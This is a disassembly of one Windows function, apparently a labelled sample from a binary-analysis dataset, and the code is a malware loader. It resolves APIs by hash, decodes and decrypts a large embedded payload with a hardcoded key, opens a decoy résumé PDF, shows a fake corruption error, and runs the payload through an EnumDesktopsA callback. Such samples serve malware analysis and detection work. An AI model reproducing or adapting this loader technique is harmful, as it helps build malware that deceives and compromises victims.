Function at 0x1800017e0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x180242008]
xor rax, rsp
mov qword [rbp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x7486d5f1
call section..text
mov ecx, 0x6ca3a8d0
mov r15, rax
call section..text
mov edx, 0xc17e7ebd
mov rcx, rax
mov rbx, rax
call fcn.180001130
mov edx, 0xbe5f91cb
mov rcx, rbx
mov r12, rax
call fcn.180001130
mov edx, 0x808f342f
mov qword [rsp + 0x70], rax
mov rcx, rbx
call fcn.180001130
mov edx, 0x25713496
mov rcx, r15
mov r14, rax
call fcn.180001130
mov edx, 0x65c58728
mov rcx, r15
mov r13, rax
call fcn.180001130
mov edx, 0x96e7ee31
mov rcx, r15
mov rsi, rax
call fcn.180001130
mov edx, 0xef2aa747
mov rcx, r15
mov rdi, rax
call fcn.180001130
mov rbx, rax
mov qword [rsp + 0x78], 0
lea rax, str.cryptsp.dll
mov qword [rbp - 0x58], r14
xor r9d, r9d
mov qword [rbp - 0x50], rax
lea r8, [rbp - 0x58]
lea rdx, [0x180001800]
lea rcx, [rsp + 0x78]
call rsi
mov rcx, qword [rsp + 0x78]
call rdi
mov rcx, qword [rsp + 0x78]
call rbx
mov edx, 0x1000
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0xf159819a
call section..text
mov edx, 0x997b68
mov rcx, rax
call fcn.180001130
mov r15, rax
xor edx, edx
xor eax, eax
mov r9d, 0x1000
mov dword [rsp + 0x60], eax
mov r8d, 0x7a120
mov dword [rsp + 0x58], eax
mov rcx, r12
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 4
call fcn.1800012a0
xor ecx, ecx
mov edx, 0x2000
mov r8d, 0x1000
mov rbx, rax
lea r9d, [rcx + 2]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
lea rsi, str.B6_F8_9C_CB_8C_95
xor r14, rbx
movabs rax, 0xffffffff00000000
and r14, rax
xor r14, rbx
xor r12d, r12d
mov rdi, r14
mov qword [rbp - 0x80], r12
mov ebx, r12d
nop
mov rdx, qword [rsi]
lea r8, [rbp - 0x80]
mov dword [rsp + 0x58], r12d
mov r9, rdi
mov dword [rsp + 0x50], r12d
mov rcx, r13
mov dword [rsp + 0x48], r12d
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.1800012a0
test eax, eax
js 0x180001795
add rdi, 6
inc ebx
add rsi, 8
cmp ebx, 0x11eab
jb 0x1800015d0
movups xmm0, xmmword [str.AZERTY123456789]
mov dword [rsp + 0x50], r12d
lea rax, [rbp - 0x40]
mov dword [rsp + 0x48], r12d
lea r8, [rbp - 0x78]
mov qword [rsp + 0x40], r12
lea rdx, [rbp - 0x68]
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov rcx, r15
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x74], 0x10
mov dword [rbp - 0x78], 0x10
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x64], 0x6b800
mov dword [rbp - 0x68], 0x6b800
call fcn.1800012a0
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x60], r12d
mov r9d, 0x20
mov dword [rsp + 0x58], r12d
mov r8d, 0x7a120
mov dword [rsp + 0x50], r12d
mov rdx, r14
mov dword [rsp + 0x48], r12d
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x48], r12d
call fcn.1800012a0
movaps xmm0, xmmword [str..Resume_cyber_CamilleMartin.pdf]
lea r8, [rbp - 0x30]
movaps xmm1, xmmword [0x180031270]
lea rdx, str.open
movzx eax, word [0x1800312a0]
xor r9d, r9d
movaps xmmword [rbp - 0x30], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x180031280]
movaps xmmword [rbp - 0x20], xmm1
movaps xmm1, xmmword [0x180031290]
mov dword [rsp + 0x28], 1
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp], xmm1
mov word [rbp + 0x10], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
jae 0x180001757
mov r9d, 0x10
lea r8, str.ERROR
lea rdx, str.File_is_corrupt._Impossible_to_open__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [sym.imp.USER32.dll_EnumDesktopsA]
xor r9d, r9d
mov dword [rsp + 0x58], r12d
mov r8, r14
mov dword [rsp + 0x50], r12d
xor edx, edx
mov dword [rsp + 0x48], r12d
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.1800012a0
jmp 0x180001797
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.180001920
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
jmp 0x180001410